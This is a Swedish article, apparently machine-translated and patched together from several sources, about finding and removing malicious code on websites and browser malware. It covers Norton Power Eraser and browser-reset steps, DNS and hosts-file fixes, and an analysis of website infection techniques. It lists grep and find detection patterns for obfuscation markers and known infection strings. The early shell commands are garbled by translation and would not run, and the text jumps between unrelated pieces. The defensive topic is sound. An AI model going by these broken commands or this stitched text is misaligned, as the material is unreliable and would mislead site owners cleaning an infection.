Skadlig kod är kod som stör den normala driften av en webbplats. Det kan bäddas in i teman, databaser, filer och plugins.


Fler videor på vår kanal - lär dig internetmarknadsföring med SEMANTICA

Resultatet av den skadliga koden kan vara att visst användbart innehåll raderas eller att det publiceras på en tredjepartsresurs. På så sätt kan angripare organisera innehållsstöld. Det är särskilt stötande om en ung resurs med originalartiklar utsattes för denna påverkan. Du kan få intrycket att han stal innehåll från en mer senior resurs.

Dessutom kan skadlig kod placera dolda länkar i ett gratistema till tredje parts sidor som är tillgängliga för sökmotorer. Dessa länkar kommer inte alltid att vara skadliga, men vikten av huvudsidan kommer garanterat att lida.

Det allmänna syftet med alla skadliga koder är att störa funktionen av webbsidor.

Externt uppträder den skadliga koden som en kaotisk uppsättning tecken. I verkligheten, bakom detta nonsens finns det en krypterad kod som innehåller en sekvens av kommandon.

Hur skadlig kod kommer in på webbplatsen

Det finns två sätt hur skadlig kod kan komma in på en webbplats.

1. Ladda ner filer och plugins från tvivelaktiga och opålitliga resurser. Oftast penetrerar krypterade länkar webbplatsen med dessa metoder. Explicit kod kommer sällan in på en webbplats på detta sätt.

2. följt av penetration. Denna metod anses vara farligare, eftersom hackning av en webbsida gör det möjligt att överföra inte bara en "engångskod", utan också hela strukturer med element skadlig programvara(skadlig programvara).

Sådan kod är mycket svår att förstöra, eftersom... det kan återställas efter borttagning.

Kontrollerar webbplatsen för skadlig kod

Man bör komma ihåg att dessa lömska strukturer kan visas inte bara i det aktiva ämnet, utan också i vilken resursfil som helst. Det finns flera sätt att hitta dem:

  • Manuellt. För att göra detta måste du jämföra innehållet i alla aktuella filer med oinfekterade versioner av säkerhetskopian. Allt annat måste tas bort.
  • Använder säkerhetsplugins. WordPress erbjuder särskilt Wordfence Security-plugin. Den har möjlighet att skanna sidfiler för främmande kodinnehåll.
  • Med hjälp av värdsupport. Webbplatsägaren har rätt att kontakta dem med en begäran om att skanna resursen med deras antivirus. Som ett resultat kommer de att tillhandahålla en rapport som visar förekomsten av infekterade filer. Dessa filer kan rensas från främmande konstruktioner med en vanlig textredigerare.
  • Via SSH tillgång till sajten. Själva sökningen utförs med hjälp av kommandona:

hitta /aktuell sidkatalog -typ f -iname "*" -exek -"eval" () \; > ./eval.log

hitta /aktuell sidkatalog -typ f -iname "*" -exek-"base64" () \; > ./base64.log

hitta /aktuell sidkatalog -typ f -iname "*" -exek -"fil_get_innehåll" () \; > ./file_get_contents.log

Som ett resultat av deras exekvering kommer information om misstänkta filer att erhållas. Listan över dessa filer kommer att skrivas till en logg lagrad i den aktuella katalogen.

  • Kontrollerar en webbplats efter skadlig kod med hjälp av eval-funktionen. Denna PHP-funktion kör vilken kod som helst, även krypterad. Som ett av argumenten matas kodningstypen till ingången för denna funktion (vanligtvis base64_decode eller str_rot13). Det är tack vare användningen av populära kodningar som skadlig kod ser ut som en meningslös uppsättning latinska tecken.

Öppna sidredigeraren.

Kopiera innehållet i functions.php-filen till klippbordet.

Klistra in den i valfri textredigerare(anteckningsbok).

Hitta kommandot eval.

  • Innan du tar bort skadlig kod, analysera vilka parametrar funktionen förväntar sig som indata. Därför att Parametrarna anländer i krypterad form och måste dekrypteras med avkodare. När du känner igen indataparametern kan du bestämma var den ska hamna i texten i functions.php-filen.
Tar bort skadlig kod

När skadlig kod har upptäckts behöver den helt enkelt raderas som en vanlig rad i en textfil.

Skydd mot skadlig kod

För att förhindra uppkomsten av skadlig kod på webbplatsen är det nödvändigt att följa ett antal förebyggande åtgärder.

Använd endast beprövad programvara:
  • Ladda bara ned distributioner från pålitliga källor.
  • Kör uppdateringen av serverprogramvaran under denna tid.
  • Utför regelbundna granskningar av din servers säkerhetssystem.
  • Ta bort föråldrade felsökningsskript.
Ställ in starka lösenord på din serverprogramvara:
  • Kom på en design med 12 tecken, inklusive siffror och bokstäver i olika fall.
  • Skapa ditt eget unika lösenord för varje tjänst.
  • Ändra dina lösenord var tredje månad.
Kontrolldata som angetts av användare:
  • Ställ in HTML-markeringsfilter i inmatningsfält, vars innehåll kommer att inkluderas i sidkoden.
  • Organisera en kontroll på serversidan av indata för överensstämmelse med det acceptabla intervallet.
  • Använd WAF. Web Application Firewall är kraftfullt verktyg skydda webbplatsen från hackerattacker.
Begränsa åtkomsträttigheter till din resurs.

Blockera eller begränsa åtkomsten till administrationsverktygen för din webbplatsmotor och dess databaser. Blockera också åtkomst till konfigurationsfiler och säkerhetskopior av produktionskod.

De webbplatser som har möjlighet att ladda ner användarfiler är mest mottagliga för sådan penetrering av skadlig kod.

1. Organisera skydd mot bots. För dessa ändamål är många CMS utrustade med speciella plugins;

2. Ställ in validering av användarinmatning:

  • Förhindra att JavaScript-kod infogas i t>-konstruktionen.
  • Håll en lista över säkra HTML-taggar och filtrera bort konstruktioner som inte ingår i den här listan.
  • Analysera länkarna som användare skickar.
  • Det finns speciella tjänster för detta, till exempel Safe Browsing API. Det låter dig kontrollera säkerheten för ett dokument genom URL.

Hur man förhindrar oavsiktlig placering av skadlig kod.

  • Övervaka noggrant programvaran du använder:

Ladda bara ned bibliotek och CMS-tillägg från pålitliga källor, och helst från officiella webbplatser.

Studera koden för icke-standardiserade tillägg som du ska installera på din webbplatsmotor.

  • Placera dina annonser mycket noggrant:

Publicera annonser på din webbplats som endast erbjuds av pålitliga annonsörer.

Försök att lägga upp statiskt innehåll på din sida.

Akta sig affiliate-program med dolda block.

Det här problemet kan orsakas av skadlig programvara som är inbäddad i webbläsaren. Den här typen av skadlig programvara syftar till att ändra webbläsarinställningar. Någon av följande situationer kan uppstå:

Om du ser ett popup-fönster på skärmen med en länk till en tredjepartssupportwebbplats, eller om du tror att du har blivit lurad, läs den här artikeln.

Utföra en Norton Power Eraser Scan - Sök efter oönskade program

Välj Skrivbord som plats och klicka på knappen Spara.

Du startar Norton Power Eraser genom att dubbelklicka på filen NPE.exe.

Om ett fönster visas

Sök efter oönskade applikationer.

Norton Power Eraser-skanningsresultaten visas i fönstret.

I fönstret Sök efter oönskade program slutfört klickar du på knappen Ta bort bredvid det oönskade programmet eller verktygsfältet.

Följ instruktionerna på skärmen.

När avinstallationsprocessen är klar startar du om datorn.

Om Norton Power Eraser inte lyckas ta bort oönskade verktygsfält, ta bort dem manuellt med Lägg till eller ta bort program eller avinstallera ett program från verktygsfältet. Adware installerar vanligtvis nya verktygsfält i webbläsare och ändrar standardsöktjänsten. För att helt ta bort oönskade verktygsfält och söktjänster måste du återställa din webbläsare.

Sikt Internet Explorer.

Välj Hantera tillägg på menyn Verktyg.

I fönstret Tillägg väljer du Verktygsfält och tillägg under Tilläggstyper.

Om listan som visas innehåller ett misstänkt verktygsfält, välj det och klicka på knappen Inaktivera.

I fönstret Tillägg väljer du Sökleverantörer under Tilläggstyper.

Välj en söktjänst och klicka på Ange som standard.

Välj den okända söktjänsten och klicka på Ta bort och stäng.

Från Verktyg-menyn, välj Internetalternativ.

På fliken Allmänt i avsnittet Hemsida Ange din föredragna hemsidaadress.

Klicka på Verkställ och OK.

Klicka på på skrivbordet högerklicka Internet Explorer-ikonen och välj Egenskaper.

I fönstret Egenskaper för Internet Explorer, på fliken Genväg, radera texten efter iexplore.exe i fältet Mål.

Klicka på Verkställ och OK för att spara ändringarna.

Klicka på knappen Stäng.

Sikt Google Chrome.

I det övre högra hörnet klickar du på ikonen Inställningar och Googles ledning Chrome och välj sedan Inställningar.

Klicka på Tillägg i Chrome-rutan.

I fönstret Tillägg väljer du okända tillägg och klickar på papperskorgen.

Klicka på Inställningar i Chrome-rutan.

I fönstret Inställningar väljer du Nästa sidor under Startgrupp.

I fönstret Hemsidor välj misstänkta poster och klicka på X-ikonen.

Klicka på OK-knappen.

I fönstret Inställningar väljer du Visa hemknapp under Utseende och klicka på Ändra.

I fönstret Hemsida, välj Snabbåtkomstsida och klicka på OK.

I fönstret Inställningar klickar du i avsnittet Sök.

I fönstret Sökmotorer väljer du önskad sökmotor och klickar på Ange som standard.

I listan Standardsökinställningar väljer du en okänd sökleverantör och klickar på X-ikonen.

Klicka på knappen Slutför.

Starta Firefox.

I det övre högra hörnet klickar du på ikonen Öppna meny och väljer Tillägg.

På sidan Hantera tillägg väljer du Tillägg.

Kontrollera listan över tillägg för misstänkta poster. Om de är det, välj tillägget och klicka på Inaktivera.

Klicka på ikonen Öppna meny och välj Inställningar.

På fliken Grundläggande i fönstret Inställningar klickar du på knappen Återställ standardinställningar.

Klicka på OK-knappen.

Klicka på nedåtpilen bredvid URL-fältet i Firefox-fönstret och välj Hantera sökmotorer.

I fönstret Listhantering sökmotorer välj den okända söktjänsten och klicka på knappen Ta bort.

Klicka på OK-knappen.

Utför en Norton Power Eraser-skanning

Dubbelklicka på NPE.exe för att starta Norton Power Eraser.

Om fönstret Användarkontokontroll visas klickar du på Ja eller Fortsätt.

Läs villkoren licensavtal och klicka på knappen Acceptera.

I Norton Power Eraser-fönstret klickar du på ikonen Sök efter hot.

Som standard söker Norton Power Eraser ditt system efter rootkits och uppmanar dig att starta om systemet. När du uppmanas att starta om systemet klickar du på knappen Starta om. Om du vill välja bort sökning efter rootkits väljer du .

När du har startat om datorn startar skanningsprocessen automatiskt. Följ instruktionerna på skärmen.

Vänta på skanningsresultaten.

Video Behöver du mer hjälp? Kontrollera om det finns felaktiga DNS-inställningar

kontrollera

Klicka på ikonen Nätverk och Internet och klicka sedan på Nätverks- och delningscenter. Klicka på Ändra adapterinställningar i den vänstra rutan.

I Windows XP: Dubbelklicka på ikonen Nätverksanslutningar.

Högerklicka på nätverkskortet som för närvarande är aktivt och klicka sedan på Egenskaper .

Om meddelandet Kontroll av användarkonto visas klickar du på Ja eller Fortsätt .

I fönstret Egenskaper för nätverksanslutning, under "Denna anslutning använder följande objekt", klicka på Internetprotokoll (TCP/IP) eller Internetprotokoll version 4 (TCP/IPv4) .

Klicka på Egenskaper.

I fönstret Egenskaper för Internetprotokoll (TCP/IP), på fliken Allmänt, kontrollera DNS-serverinställningarna.

  • Om alternativknappen Använd följande DNS-serveradresser är markerad, kontrollera serveradresserna. Se till att DNS-serveradresserna som visas är desamma som du fått av din Internetleverantör eller din nätverksadministratör.

    Om DNS-serveradressen börjar med 85.255.11x.x, är det mer troligt att DNS-cachen har förgiftats som ett resultat av en Pharming-attack.

Åtgärda felaktiga Windows-värdfilinställningar

Tryck på Windows + R-tangenterna för att öppna dialogrutan Kör.

Skriv in följande text och tryck sedan på Retur .

C:\Windows\System32\Drivers\etc

Byt ut enhetsbeteckningen om C : enhet inte är systemenheten.

För varje Hosts-fil som du hittar högerklickar du på filen och klickar sedan på Öppna med eller Öppna .

Dubbelklicka på Anteckningar i listan över program.

Ta bort alla rader som visas i din hosts-fil utan ett # i början, förutom raden "127.0.0.1 localhost".

Välj Spara på Arkiv-menyn.

Kontrollera om du kan komma åt Internet.

Åtgärda felaktiga proxyinställningar

Om du inte har konfigurerat din dator för att använda proxy för Internetanslutning, kan du hoppa över detta steg.

Starta Internet Explorer.

Välj Internetalternativ på Verktyg-menyn.

Klicka på LAN-inställningar på fliken Anslutningar.

Kontrollera att dina proxyinställningar är korrekta. Gör något av följande:

Om proxyinställningarna är felaktiga, se till att du anger rätt proxyinställningar.

Om proxyinställningarna är korrekta, inaktivera proxyn tillfälligt. Avmarkera Använd en proxyserver för ditt LAN.

I fönstret Internetalternativ klickar du på Verkställ > OK.

Avinstallera eller inaktivera okända verktygsfält

Om du vill ta bort ett verktygsfält helt kan du använda Lägg till/ta bort program eller Avinstallera ett program i Kontrollpanelen.

Starta Internet Explorer.

Klicka på Hantera tillägg på Verktyg-menyn.

Om du hittar något okänt verktygsfält som finns i listan väljer du verktygsfältet och klickar sedan på Inaktivera .

Klicka på Stäng.

Om problemet kvarstår, gå till steg 5.

Kör en skanning med Norton Power Eraser

Spara filen på Windows skrivbord.

Öppna dialogrutan för Windows kör (Windows-tangenten+R).

Dra och släpp NPE.exe i körrutan, kommer detta automatiskt att fylla den med den fullständiga sökvägen. Lägg till följande omkopplare i slutet av raden:

Runlinjen ska se ut så här:

"C:\Documents and Settings\user_name\Desktop\NPE.exe" /VSS 111

Klicka på OK.

  • Om skanningen blir ren, gå till steg 6.

    Är en förkortning för "skadlig programvara". Det är en term som vanligtvis används för programvara installerad på din dator som är utformad för att infiltrera eller skada ett datorsystem utan ägarens informerade samtycke. Ibland kan ett problem med Firefox vara ett resultat av skadlig programvara installerad på din dator, som du kanske inte är medveten om av.

    Innehållsförteckning Hur vet jag att mitt Firefox-problem är ett resultat av skadlig programvara?

    Symtomen är olika och beror på skadlig programvara, men om du har ett eller flera av dessa beteenden kan du ha skadlig programvara installerad på din dator.

    • Vissa popup-annonser visas hela tiden, även om du har blockerat popup-fönster. För mer information om att blockera popup-fönster, se.
    • Dina sökningar omdirigeras till en annan webbplats för att mata dig innehåll från den webbplatsen och du får inte blockera dem. Mer information finns i Vad du ska göra när sökningar tar dig till fel sökwebbplats.
    • Din hemsida har kapats. För mer information om hur du ställer in din startsida, se Hur du ställer in startsidan.
    • Firefox slutar aldrig ladda eller kan inte ladda vissa webbplatser. För mer information, se Webbplatser visar ett snurrande hjul och slutför aldrig inläsning och Firefox kan inte ladda vissa webbplatser.
    • Firefox kraschar eller hänger sig mycket.
    • För mer information, se Firefox kraschar - Felsöka, förhindra och få hjälp med att fixa krascher och Firefox hänger sig eller svarar inte - Så åtgärdar du.
    • Firefox startar inte. För mer information, se Firefox startar inte – hitta lösningar.
    • Problem med att ansluta till Facebook. För mer information om problem med Facebook, se Åtgärda problem med Facebook-spel, chatt och mer.
    • Firefox fortsätter att öppna många flikar eller fönster. För mer information, se Firefox öppnar tomma flikar eller fönster upprepade gånger efter att du klickat på en länk.
    Oönskade verktygsfält har installerats. För mer information om att anpassa Firefox, se Ta bort ett verktygsfält som har tagit över din Firefox-sökning eller startsida och Hur man tar bort Babylons verktygsfält, hemsida och sökmotor.

    Hur förhindrar jag att skadlig programvara installeras?

    • Kör realtidsskydd mot virus och spionprogram och skanna ditt system med jämna mellanrum.
    Se till att ditt antivirus- och antispionprogram i realtid är aktiverat. Skanna din dator minst varje månad.

    Hur blir jag av med skadlig programvara?

    Se till att ditt antivirus- och antispionprogram i realtid är aktiverat. Skanna din dator minst varje månad.

    Wikipedia-artikeln Linux malware har information och rekommendationer för Linux-användare.

    Microsoft har grundläggande gratis antivirus- och antispionprogram inbyggd i Windows 8 och Windows 10 för Windows 7 (se Vad är Microsoft Security Essentials?). Om din säkerhetsprogramvara inte har upptäckt skadlig programvara, skanna ditt system med de gratis skadliga program som listas nedan. Du bör skanna med alla program eftersom varje program upptäcker olika skadlig programvara och se till att du uppdaterar varje program för att få den senaste versionen av deras databaser. innan du gör en skanning.

    • Varning: Antivirus- och antispionprogram kan ibland generera falska positiva resultat. Överväg att sätta misstänkta filer i karantän istället för att ta bort dem.
    • användare klagar på att webbplatsen är blockerad av webbläsare och/eller program
    • webbplatsen är svartlistad av Google eller en annan databas med skadliga webbadresser
    • det har skett stora förändringar i trafikvolym och/eller sökmotorranking
    • webbplatsen fungerar inte korrekt och visar fel och varningar

    Ofta förblir skadlig kod oupptäckt under lång tid, särskilt när den är infekterad med mycket komplex skadlig kod. Sådan skadlig programvara är vanligtvis kraftigt förvirrad för att lura både webbplatsadministratörer och antivirusprogram; den ändrar ständigt de domännamn som den omdirigerar användare till och kringgår därmed svarta listor. Om det inte finns något av ovanstående symtom är detta en bra indikator på städningen av din server, men tyvärr inte 100%; var därför uppmärksam på alla misstänkta aktiviteter.

    Det mest uppenbara tecknet på infektion med någon skadlig kod är förekomsten av skadlig/misstänkt kod i en eller flera filer - främst i HTML-, PHP- eller JS-format, och sedan en tid tillbaka även ASP/ASPX. Denna kod är inte lätt att hitta och kräver åtminstone grundläggande programmering och webbutveckling. För att läsaren bättre ska förstå hur skadlig kod ser ut ger vi flera exempel på den vanligaste infektionen av webbsidor.

    Exempel 1: enkel omdirigering

    Den äldsta och mest enkel metod, som används av cyberbrottslingar, är att lägga till en enkel HTML iframe-tagg till koden för HTML-filer på servern. Adressen som används för att ladda den skadliga webbplatsen i IFrame anges som SRC-attributet; VISIBILITY-attributet med värdet "hidden" gör ramen osynlig för användaren som besöker webbplatsen.

    Figur 1: Skadlig IFrame inuti webbplatsens HTML-kod

    En annan metod för att köra ett skadligt skript i användarens webbläsare är att injicera en länk till det skriptet i en HTML-fil som src-attributet i skriptet eller img-taggarna:

    Figur 2: Exempel på skadliga länkar

    På senare tid har det förekommit fler och fler fall där skadlig kod genereras dynamiskt och injiceras i HTML-kod med skadliga JS- eller PHP-skript. I sådana fall är koden endast synlig i webbläsarens källvy av sidan, och inte i de fysiska filerna på servern. Cyberkriminella kan ytterligare definiera villkor när skadlig kod ska genereras: till exempel endast när en användare navigerar till en webbplats från vissa sökmotorer eller öppnar en webbplats i en specifik webbläsare.

    För att lura både webbplatsägaren och antivirusprogramvaran, och för att göra det svårt för skadlig kod att dyka upp, använder cyberbrottslingar en mängd olika tekniker för kodfördunkling.

    Exempel 2: "Fel 404: Sidan hittades inte"

    I det här exemplet är skadlig kod inbäddad i en meddelandemall som visas när det angivna objektet inte hittades på servern (det välkända "404-felet"). Dessutom injiceras en länk till något icke-existerande element i index.html / index.php-filerna för att tyst utlösa detta fel varje gång användaren besöker den infekterade webbsidan. Denna metod kan orsaka viss förvirring: den person som är ansvarig för webbplatsen får ett meddelande om att någon antiviruslösning har flaggat webbplatsen som infekterad; efter en ytlig kontroll visar det sig att skadlig kod hittades i ett objekt som uppenbarligen inte existerar; detta leder till frestelsen att anta (felaktigt) att det var ett falskt larm.

    Figur 3. Trojan.JS.Iframe.zs - skadligt skript i 404-felmeddelandemallen

    I det här specifika fallet var den skadliga koden fördunklad. Efter deobfuskering kan vi se att syftet med skriptet är att injicera en IFRAME-tagg som kommer att användas för att omdirigera användare till en skadlig URL.

    Figur 4. Trojan.JS.Iframe.zs - skadlig kod efter deobfuscation

    Exempel 3: Selektiv injektion av skadlig kod

    Liknande kod kan genereras och bifogas dynamiskt (dvs. beroende på specifika förhållanden) till alla HTML-filer som finns på servern, med hjälp av ett skadligt PHP-skript som laddats upp till samma server. Skriptet som visas i följande exempel kontrollerar parametern UserAgent (som skickas av användarens webbläsare såväl som sökrobotar) och lägger inte till skadlig kod om webbplatsen genomsöks av en bot eller om webbplatsbesökare använder Opera webbläsare, eller Safari. På så sätt kommer användare av webbläsare som inte är sårbara för det specifika utnyttjandet som används för attacken inte att omdirigeras till det utnyttjandet. Det är också värt att notera att kommentarerna i koden är medvetet vilseledande, vilket tyder på att detta skript har något att göra med botens statistik.

    Figur 5. Trojan.PHP.Iframer.e - kod som infekterar ett PHP-skript

    Denna teknik kan också användas i motsatt riktning: cyberkriminella kan bara injicera länkar som leder till olagligt, tvivelaktigt eller skadligt innehåll (spam, spionprogram, programvara, nätfiskeresurser) om webbplatsen besöks av en sökrobot. Syftet med en sådan attack är den så kallade svarta optimeringen - en mekanism för att höja positionen för en cyberkriminell resurs i sökresultat. Denna typ av skadlig kod riktar sig vanligtvis mot populära webbportaler med hög ranking och är ganska svår att upptäcka eftersom den skadliga koden aldrig visas för den genomsnittliga användaren. Som ett resultat får skadliga webbplatser höga placeringar i sökmotorer och visas högst upp i sökresultaten.

    Exempel 4: smart förvirring

    Att infektera PHP-skript kan också ta andra former. Nedan finns två exempel som upptäcktes för flera månader sedan.


    Figur 6. Trojan-Downloader.PHP.KScript.a - infekterande PHP-skript


    Fig 12. Trojan-Downloader.JS.Twetti.t - skadlig kod injicerad i JS-filer

    Slutligen finns det ett känt fall av massinfektion av skadlig programvara där slumpmässiga domännamn används. Om du är infekterad med denna skadliga programvara kan du hitta följande kod på din webbplats:

    Fig 13. Obfuskerad version av koden som omdirigerar till en slumpmässigt genererad domän

    Exempel 6: "gootkit" och obfuskering av hela filen

    Obfuskerad skadlig kod är lätt att upptäcka bland annan ren kod, vilket är anledningen till att cyberbrottslingar nyligen har kommit på idén att fördunkla hela innehållet i en fil, vilket gör både den injicerade och legitima koden oläslig. Det är omöjligt att skilja legitim kod från skadlig kod, och en fil kan endast desinficeras efter att den har dekrypterats.

    Ris. 14. Fil fördunklad av skadlig programvara "gootkit".

    Att bli av med den första nivån av obfuskation är inte svårt; för att göra detta behöver du bara ändra funktionen eval() till alert() - eller print() när det gäller konsolen - och köra den för exekvering. Den andra nivån är något mer komplicerad: i det här fallet domännamn används som nyckel för att kryptera koden.

    Ris. 15: "gootkit" - andra nivån av obfuskation

    Efter dekryptering kan du se den skadliga koden efter det ursprungliga innehållet i filen:

    Ris. 16: "gootkit" - deobfuskerad kod

    Ibland visar sig den skadliga delen vara en andra version av skadlig programvara som diskuterades i föregående exempel och används för att generera ett pseudo-slumpmässigt domännamn för omdirigering.

    Exempel 7: .htaccess

    Istället för att infektera skript och HTML-kod kan cyberbrottslingar använda funktionerna i vissa filer, som .htaccess. I sådana filer kan administratören definiera åtkomsträttigheter till vissa mappar på servern och även, under vissa omständigheter, omdirigera användare till andra webbadresser (till exempel om användaren får åtkomst från en webbläsare mobil enhet, omdirigerar den till mobilversion webbplats). Det är inte svårt att gissa hur cyberbrottslingar använder den här funktionen...

    Ris. 17: skadlig.htaccess

    I exemplet ovan omdirigeras alla användare som landar på denna webbplats genom att klicka på en länk i de flesta större sökmotorer (parametern HTTP_REFERER) till en skadlig URL. Dessutom definierar denna .htaccess-fil ett ganska stort antal webbläsare och botar för vilka omdirigering inte utförs (parametern HTTP_USER_AGENT). Omdirigering sker inte heller om webbsidan läses från cachen (referer == cache) eller laddas ner igen från samma dator (cookieparameter).

    Sådan skadlig programvara tillåter också mer selektiva infektioner - till exempel kan specifika IP-adresser uteslutas, och när du tittar på webbplatser från ett visst antal IP-adresser - till exempel, ägs av företaget Av informationssäkerhet- inga skadliga resultat genereras.

    Attackvektorer och infektionstekniker

    Oavsett vilken teknik som används måste cyberbrottslingar hitta ett sätt att leverera skadliga filer till servern eller ändra filer som redan finns på servern. Den mest primitiva metoden för att få åtkomst till servern är att knäcka åtkomstlösenordet. För att göra detta kan cyberkriminella använda den så kallade brute-force-attacken eller dess begränsade version – en brute-force-attack (dictionary attack). Sådan taktik kräver vanligtvis mycket tid och resurser, så de används sällan när massinfektioner webbplatser. Mer populära scenarier inkluderar utnyttjande av sårbarheter och lösenordsstöld skadlig programvara.

    Utnyttjande av sårbarheter för innehållshanteringssystem/e-handelssystem

    De flesta moderna webbinnehållshanteringsplattformar (som innehållshanteringssystem (CMS), e-handel, kontrollpaneler, etc.) är inte perfekta och har sårbarheter som gör att andra kan ladda upp filer till servern utan autentisering. Och även om utvecklare ständigt letar efter sådana sårbarheter, tar det mycket tid att släppa patchar; Dessutom fortsätter många användare att använda gamla versioner av program med ett stort antal fel. Oftast finns sårbarheter, naturligtvis, i de mest populära plattformarna, som WordPress, Joomla och osCommerce.

    Ett välkänt exempel på en sådan sårbarhet är TimThumb, som har använts flitigt av cyberbrottslingar i en mängd olika scenarier för drive-by-nedladdning. TimThumb är en PHP-modul för att ändra storlek på bilder och skapa så kallade grafiska miniatyrer, som ingår i de flesta CMS-mallar som finns i öppen tillgång. Sårbarheten tillåter att filer som finns på en fjärrdator skrivs till servern i cachekatalogen. Ett annat exempel är SQL-injektionssårbarheten i Plesk Panel (version 10 och äldre), som upptäcktes i februari 2012, som låter dig läsa databaser och stjäla lösenord, som - tills nyligen - lagrades explicit. Registreringsdata som erhållits på detta sätt användes sannolikt i den senaste massiva webbepidemin http://www.securelist.com/en/blog/208193624/Who_is_attacking_me ; https://www.securelist.com/ru/blog/208193713/RunForestRun_gootkit_i_generirovanie_sluchaynykh_domennykh_imen.

    Använda spionprogram för att stjäla FTP-serveruppgifter

    Vid de vanligaste webbinfektionerna (till exempel Gumblar och Pegel) var en annan metod framgångsrik. I det första skedet distribuerar cyberbrottslingar skadlig programvara som är speciellt utformad för att hitta och stjäla användarnamn och lösenord för FTP-konton genom att kontrollera inställningarna för FTP-klienter eller skanna nätverkstrafik. Efter att skadlig programvara hittar dessa registreringsdata på webbplatsadministratörens infekterade dator upprättar programmet en anslutning till FTP-servern och laddar ner skadliga skript eller skriver infekterade versioner av dem istället för originalfilerna. Det säger sig självt att så länge kontoägarens dator är infekterad, kommer filer som lagras på servern att bli infekterade om och om igen, även efter att man ändrat inloggningsinformationen och återställt allt innehåll från en ren säkerhetskopia.

    Mål för cyberbrottslingar

    Vad är syftet med att infektera webbplatser?

    • omdirigera användare till utnyttjande för att tyst installera skadlig programvara på sina datorer;
    • omdirigera användare till spam, nätfiske och annat skadligt, olagligt eller oönskat innehåll;
    • avlyssning/stöld av webbplatsbesök/sökfrågor.
    • marknadsföring av skadliga/olagliga webbplatser och webbplatser som innehåller spam (black hat optimization);
    • användning av serverresurser för illegala aktiviteter.

    Det finns faktiskt inget nytt här: när cyberkriminella infekterar webbplatser drivs de av viljan att göra indirekta vinster.

    Metoder för att eliminera skadlig kod

    Vad ska man göra om din webbplats attackeras av hackare?

    För det första, om du upplever symtom som indikerar en möjlig infektion, bör du omedelbart inaktivera webbplatsen tills problemet är löst. Detta är verkligen oerhört viktigt, eftersom varje ögonblick av förseningar spelar cyberkriminella i händerna, vilket gör att de kan infektera ännu fler datorer och sprida infektionen över hela landet. Du bör kontrollera serverloggarna för misstänkt aktivitet, såsom konstiga förfrågningar från IP-adresser i länder som inte är typiska för webbplatsbesökare, etc. - detta kan vara användbart för att upptäcka infekterade filer och bestämma exakt hur cyberbrottslingar fick tillgång till servern.

    Men hur hanterar man skadlig kod?

    Säkerhetskopiering

    Den snabbaste och pålitligt sättåterställa hela innehållet på servern - med en ren säkerhetskopia. För att göra detta effektivt är det också nödvändigt att helt installera om programvaran som körs på servern (innehållshanteringssystem / CMF, e-handelssystem, etc.). Naturligtvis, för detta är det nödvändigt att använda den senaste, fullt ut uppdaterade versioner. Efter dessa steg ska det inte finnas några infekterade filer kvar på servern - förutsatt att du raderade allt innehåll innan du återställde, och en säkerhetskopia skapades innan attacken började.

    Automatisk kontroll

    Om det inte finns någon ren säkerhetskopiering har du inget annat val än att börja bekämpa skadlig programvara. Lyckligtvis finns det ett antal automatiserade lösningar som kan hjälpa dig att hitta skadlig kod – inklusive antivirusprodukter och webbläsare online som http://sucuri.net/. Ingen av dem är perfekt, men i fallet med välkänd/vanlig skadlig programvara kan de alla vara ganska användbara. Till att börja med kan du kontrollera en webbplats med hjälp av flera skannrar online. Vissa av dem kommer inte bara att avgöra om din webbplats faktiskt är infekterad, utan kommer också att peka ut skadlig kod i dina filer. Sedan kan du göra en komplett antivirus genomsökning alla filer på servern.

    Om du är serverns ägare, eller om servern kör en säkerhetslösning som du har behörighet att använda, kan du utföra verifiering på serversidan. Se till att du skapar en kopia av dina filer, eftersom vissa antivirusskannrar inte desinficerar infekterade filer utan tar bort dem! Du kan också ladda upp ditt serverinnehåll till lokal dator och kontrollera det med en antiviruslösning för stationär dator. Det andra alternativet är att föredra, eftersom de flesta moderna antivirusprogram för stationära datorer finns en välutvecklad heuristisk modul. Skadlig programvara som infekterar webbplatser är mycket polymorf: medan signaturanalys praktiskt taget är värdelös för att bekämpa den, gör heuristik det enkelt att upptäcka dem.

    Manuell borttagning

    Om automatisk kontroll inte gav några resultat och meddelanden om att din webbplats är infekterad fortfarande tas emot, det enda sättet att bli av med skadlig programvara är att hitta den manuellt och ta bort all skadlig kod. Denna svåra uppgift kan ta en betydande tid, eftersom det är nödvändigt att kontrollera varje fil - vare sig det är HTML, JS, PHP eller konfigurationsfil - för skadliga skript. Exemplen ovan är bara ett litet urval av olika skadliga webbplatser, så det finns en stor chans att den skadliga koden på din webbplats kommer att skilja sig helt eller delvis från dessa exempel. De flesta moderna skadliga program för webbplatser har dock några vanliga funktioner, och dessa funktioner hjälper till att identifiera problemet.

    Mest av allt måste du vara uppmärksam på de delar av koden som ser otydliga eller oläsliga ut. Kodobfuskation, en teknik som ofta används av , är ganska ovanlig för någon annan webbplatsrelaterad programvara. Om du inte har fördunklat koden själv har du all anledning att vara misstänksam mot den. Men var försiktig - inte all obfuskerad kod kommer att vara skadlig!

    På samma sätt är inte alla skadliga skript fördunklade, så det är vettigt att leta efter explicita IFRAME-taggar och andra länkar till externa resurser i alla dina filer. Vissa av dessa kan vara relaterade till annonser och statistik, men låt dig inte luras av specialgjorda webbadresser som kan vara förvirrande och som verkar komma från välkända och pålitliga portaler. Glöm inte att kontrollera koden för mallfelmeddelanden, samt alla .htaccess-filer.

    Användbara verktyg för att söka efter skadlig kod på en server är utan tvekan grep and find - verktyg som fungerar i kommandoraden, ingår som standard på nästan alla Unix-baserade system. Nedan följer exempel på deras användning för att diagnostisera de vanligaste infektionerna:

    grep -iRs "iframe" *
    grep -iRs "eval" *
    grep -iRs "unescape" *
    grep -iRs “base64_decode” *
    grep -iRs "var div_colors" *
    grep -iRs "var _0x" *
    grep -iRs "CoreLibrariesHandler" *
    grep -iRs "pingnow" *
    grep -iRs "searchbot" *
    grep -iRs “km0ae9gr6m” *
    grep -iRs “c3284d” *
    hitta . -iname “upd.php”
    hitta . -iname "*tumtum*"

    Beskrivning av grep (från Linux-manualen): skriv ut rader som matchar mönstret; alternativet -i betyder ignorera skiftläge; -R betyder rekursiv sökning och -s förhindrar att felmeddelanden visas. Det första av de listade kommandona söker efter IFRAME-taggar i filer; de andra tre letar efter de mest uppenbara tecknen på förvirring; resten letar efter specifika strängar förknippade med de största kända webbplatsinfektionerna.

    När det gäller hitta säger Linux-manualen: sök efter filer i en hierarkisk mappstruktur; "." (punkt) pekar på den aktuella katalogen (så dessa kommandon bör köras från rotkatalogen eller hemkatalogen på servern), parametern -iname anger filen som ska letas efter. Du kan använda reguljära uttryck för att hitta alla filer som matchar vissa kriterier.

